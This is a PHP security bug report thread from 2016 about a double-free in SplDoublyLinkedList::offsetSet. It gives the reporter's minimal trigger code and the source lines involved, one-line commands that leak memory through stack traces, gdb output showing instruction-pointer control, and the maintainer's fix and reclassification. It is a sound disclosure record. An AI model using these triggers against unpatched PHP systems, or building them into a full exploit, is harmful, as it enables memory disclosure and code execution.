Sec Bug->Bug #71735 [Fbk]: Double-free in SplDoublyLinkedList::offsetSet
| From: | stas@php.net | Date: | Mon, 21 Mar 2016 06:35:38 +0000 |
| Subject: | Sec Bug->Bug #71735 [Fbk]: Double-free in SplDoublyLinkedList::offsetSet | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-199984@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=71735&edit=1
ID: 71735
Updated by: stas@php.net
Reported by: emmanuel dot law at gmail dot com
Summary: Double-free in SplDoublyLinkedList::offsetSet
Status: Feedback
-Type: Security
+Type: Bug
Package: SPL related
Operating System: *
PHP Version: 7.0.4
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2016-03-21 06:35:10] stas@php.net
I'm sorry, I'm not sure I understand - all your examples are constructed code run on the
command line, so how that comes to remote exploit? Also, you reopened the bug - did you mean you
still can reproduce it? I could not reproduce it with your examples after the fix, could you please
provide more information about what do you see after the fix?
------------------------------------------------------------------------
[2016-03-21 06:19:49] emmanuel dot law at gmail dot com
The specially crated code i gave was to gain remote code execution.
Here are several simpler examples that leak the memory. Notice how each time I change the length of
str_repeat, it leaks different part of the memory:
#### Example 1, str_repeat 0x5 #####
$ ~/php-7.0.4/sapi/cli/php -r '(new
SplStack())->offsetSet(0,str_repeat("A",0x05));' <<< string length
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'function')
<<<<<< Leaks 'function'
#1 {main}
thrown in Command line code on line 1
#### Example 2, str_repeat 0x15 #####
$ ~/php-7.0.4/sapi/cli/php -r '(new
SplStack())->offsetSet(0,str_repeat("A",0x15));'
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0,
'\x01\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00...')
<<<<<< Leaks random bytes in memory
#1 {main}
thrown in Command line code on line 1
#### Example 3, str_repeat 0x20 #####
$ ~/php-7.0.4/sapi/cli/php -r '(new
SplStack())->offsetSet(0,str_repeat("A",0x20));'
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'OutOfRangeExcep...')
<<<<<< Leaks other strings in memory
#1 {main}
thrown in Command line code on line 1
#### Example 4 str_repeat 0x30 #####
$ ~/php-7.0.4/sapi/cli/php -r '(new
SplStack())->offsetSet(0,str_repeat("A",0x30));'
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1
Stack trace:
#0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'AAAAAAAAAAAAAAA...')
<<< this is the expected output.
#1 {main}
thrown in Command line code on line 1
This discrepancies in the output are all manifestation of the double free vulnerability. Depending
on what is passed into the vulnerable function, it results in different form of exploitation. Thus I
think it's a security issue. Imagine a plausible code such as:
<?php
new SplStack())->offsetSet($_GET['id'],$_GET['data']);
?>
------------------------------------------------------------------------
[2016-03-21 06:11:11] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=28a6ed9f9a36b9c517e4a8a429baf4dd382fc5d5
Log: Fix bug #71735: Double-free in SplDoublyLinkedList::offsetSet
------------------------------------------------------------------------
[2016-03-21 05:17:25] stas@php.net
Doesn't look like a security issue - requires specially crafted code to reproduce the bug.
------------------------------------------------------------------------
[2016-03-07 23:31:33] emmanuel dot law at gmail dot com
Description:
------------
This issues only affects php 7.x branch.
There exist a double-free vulnerability when calling SplDoublyLinkedList::offsetSet and passing in
an invalid index.
Example:
$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01'));
//DateTime will be double-freed
The vulnerability is in ext/spl_dllist.c:833 where it is freed once:
832 if (index < 0 || index >= intern->llist->count) {
833 zval_ptr_dtor(value);
834 zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid
or out of range", 0);
835 return;
836 }
837
The second free occurs in Zend/zend_vm_execute.h:855 when it cleans up the call stack:
854 EG(current_execute_data) = call->prev_execute_data;
855 zend_vm_stack_free_args(call);
I've created a poc that exploits this to gain code execution:
gdb --args php_7.0.4 doublefree.spl_dllist.poc.php
....
Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
gdb-peda$ p $rip
$1 = (void (*)()) 0xdeadbeef
POC can be obtained via https://www.dropbox.com/s/2tm8mlrdhfitymv/doublefree.SplStack.poc.php?dl=0
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=71735&edit=1